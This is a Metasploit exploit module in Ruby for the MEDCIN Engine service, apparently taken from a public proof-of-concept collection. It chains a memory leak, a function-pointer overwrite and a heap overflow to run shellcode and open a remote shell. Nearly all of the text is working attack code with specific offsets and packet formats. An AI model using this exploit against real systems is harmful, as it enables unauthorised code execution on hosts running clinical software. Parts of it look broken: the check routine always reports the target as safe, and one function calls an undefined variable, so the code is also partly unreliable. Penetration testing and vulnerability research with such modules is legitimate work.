4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / medcin_bof.rb RB
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'		=> 'MEDCIN Engine Memory Disclosure/Arbitrary Write/Heap Buffer Overflow',
      'Description'	=> %q{
          This module exploits three separate vulnerabilities. The first vulnerability allows an	
          attacker to leak back all of the data in the process's data section. The second vulnerability
          allows the overwrite of a function pointer in the data section to somewhere controlled in the 
          heap. The last vulnerability allows for the overflow of the heap into the allocation pointed
          to by the overwritten function pointer. 
      },
      'Author' 	=> [ 'b0yd' ],
      'Arch'		=> [ ARCH_X86 ],
      'License'       => MSF_LICENSE,
      'References'    =>
        [
          [ 'CVE', '2015-2900,2901,6006'],
          [ 'OSVDB', ''],
          [ 'BID', '77127'],
          [ 'URL', 'https://www.securifera.com/advisories/cve-2015-2898-2901/'],
        ],
      'Privileged'		=> false,
      'DefaultOptions'	=>
        {
          'EXITFUNC' 	=> 'process',
        },
      'Payload'        	=>
        {
          'Space'		=> 1000,
          'BadChars'		=> "\x00\x0a",
        },
      'Platform' => ['win'],
       'Targets'        =>
        [
          [
            'MEDCIN < 2.22.20153.226',
            {
            }
          ],
        ],
      'DisclosureDate' => 'Oct 20 2015',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(8080),
      ], self.class)
  end

  def check
    connect
    print_status("Attempting to determine if target is possibly vulnerable...")
    select(nil,nil,nil,7)

    return Exploit::CheckCode::Safe
  end
  
  def send_receive(type, pack_len, data)

    ret_len = 0
    if pack_len < 6 or pack_len > 0x3d090
      print "Length(Arg 2) must be between 6 and 0x3d090 bytes."
      return
    end

    #Set the type
    buf = [type].pack('S>')
  
    #Send length, must be less than 0x3d090, can be negative
    buf += [pack_len].pack('I>')

    #Send header
    sock.put(buf)

    #Send data
    if pack_len > 0
      #Send data
      sock.put(data)
    end

    ret_data = ''
    loop do
      temp = sock.get_once(-1,0.5)
      break if temp == nil
      ret_data += temp
    end

    return ret_data	
  end
  
  def free_alloc_ptrs( ptr_offset )

    #Free buffers
    free_number = ptr_offset

    #Free buffers
    i = 265

    #send a packet to zero out the target address
    data = [free_number].pack('I>')
    data += "\x00"

    ret_len = send_receive( i, data.length + 6, data )	
  end
  
  def trigger_heap_overflow( len_str )

    #Data overflow type
    i = 27

    #send a packet and try to receive results
    data = ''
    if len_str > 0
      data += "\x90" * len_str
      data += sc
    end
    
    data += "\x00"
    ret_len = send_receive( i, data.length + 6, data )
    
  end
  
  def leak_mem( starting_size, overwrite_byte, max_len )

    j = starting_size
    k = 7

    ret_data = ''
    while true

      #Data overflow type
      i = 256

      #send a packet and try to receive results
      data = ''
      data += "\x00"
      data += overwrite_byte * j
      data += "\x00"

      #send and receive
      ret_data = send_receive( i, data.length + 6, data )
      ret_buf_len = ret_data.length
      diff = max_len - ret_buf_len

      #print_status("Received Bytes: " + ret_buf_len.to_s(16))
      if ret_buf_len > max_len
	break
      elsif diff < 0x26
	j = 65
      elsif diff < 0x100
	j = 72
      else
	j = (diff / 2) + 64
      end
      
      sleep(0.2)
    end
    
    return ret_data
  end
  
  def groom_heap( size )

    #Data overflow type
    i = 84

    #send a packet and try to receive results
    data = ''
    #data += offset
    prng = Random.new
    offset = prng.rand(2000000000) 
    #offset = random.randint(1, 2000000000)
    data += [offset].pack('I>')
    data += "A"* size
    data += "\x00"

    ret_len = send_receive( i, data.length + 6, data )
    sleep(0.2)
    
  end
  
  def alloc_free_single( index, alloc_flag, size )

    if index < 0 or index > 100
      print_error("Please give an index > 0 and < 100.")
      return
    end

    #Try things
    i = 122

    data = [index].pack('S>')
    if alloc_flag
      data += "A"* size
    end
		#print "[+] Allocated buffer for index " + str(index)
	#else:
		#print "[+] Freed buffer at index " + str(index)
		
    data += "\x00"
	
    send_receive( i, data.length + 6, data)
  end

  def exploit
    print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...")
    connect
    print_status("Connected to MEDCIN Service.")
    print_status("Reallocating initial heap buffers for exploit.")
    
    #Free buffers
    free_number = 0xFF439EB2
    free_alloc_ptrs( free_number )
    
    #Alloc buffers
    alloc_number = 0xf5000
    free_alloc_ptrs( alloc_number )
    
    # Release heap address
    print_status("Freeing heap buffer for heap overflow.")
    trigger_heap_overflow(0)
    
    print_status("Overflowing data section to leak heap pointers.")
    #Send initial packet, crashes sometimes without it
    #Data overflow type
    i = 256

    #send a packet and try to receive results
    data = ''
    data += "\x00"
    data += "\x01" * 64
    data += "\x00"
    
    ret_data = send_receive( i, data.length + 6, data )
        
    # offset to addr + header
    offset_to_addr = 0x65e0 + 6
    offset_to_addr2 = 0x3aa8 + 6

    # Fill the data section with 0x1s
    ret_data = leak_mem( 0x3a00, "\x01", offset_to_addr )
  
    # Get the data so we can parse it
    ret_data = leak_mem( 65, "\x04", offset_to_addr + 2 )
    #ret_buf_len = ret_data.length

    #print out
    off_addr_arr = ret_data[offset_to_addr, 4]
    off_addr_arr2 = ret_data[offset_to_addr2, 4]
    
    if off_addr_arr.length == 4 
      off_addr = off_addr_arr.unpack("I")[0]
    else
      off_addr = 0x0
    end
    
    #print_status("Arb write address: " + off_addr.to_s(16))
    
    off_addr2 = off_addr_arr2.unpack("I")[0]
    #print_status("Dependent address: " + off_addr2.to_s(16))
    
    # Activate low frag heap
    print_status("Activating Low Fragmentaion Heap for second size and skipping first bucket.")
    for i in 0..0x70
      groom_heap( 0xff )
    end
    
    #Reserve spot for later
    alloc_free_single( 12, true, 0xff )	
    alloc_free_single( 13, true, 0xff )	

    for i in 0..0x30
      groom_heap( 0xff )
    end
    
    #Free one
    alloc_free_single( 13, false, 0xff )
    
    # Func Ptr
    func_ptr_addr = 0x04E9128
    offset = (func_ptr_addr - off_addr)/4

    # Arbitrary write
    print_status("Overwriting function pointer with heap pointer.")
    i = 70
    offset2 = 0xf5000

    #send a packet and try to receive results
    data = ''
    data += [offset].pack('I>')
    data += [offset2].pack('I>')
    data += "\x01" * 0xffa9
    data += "\x00"*16

    ret_len = send_receive( i, data.length + 6, data )
    sleep( 2 )

    #Reserve spot for later
    alloc_free_single( 12, false, 0xff )	
    
    # Arbitrary write
    print_status("Overflowing heap allocation with shellcode.")

    func_ptr_addr = 0x04E9348
    offset = (func_ptr_addr - off_addr)/4
    i = 70
    offset2 = 0xf5000

    #send a packet and try to receive results
    data = ''
    data += [offset].pack('I>')
    data += [offset2].pack('I>')

    buf = make_nops( 1200 )
    buf << payload.encoded
    
    data += buf
    data += "\x01" * ( 0xffa9 - buf.length )
    data += "\x00"*16

    ret_len = send_receive( i, data.length + 6, data )
    sleep( 2 )

    # Call function pointer
    print_status("Calling overwritten function pointer.")
    i = 12

    index = 100
    data = [index].pack('I>')
    send_receive( i, data.length + 6, data)
    
    #Handle the shell
    handler
    disconnect
  end

end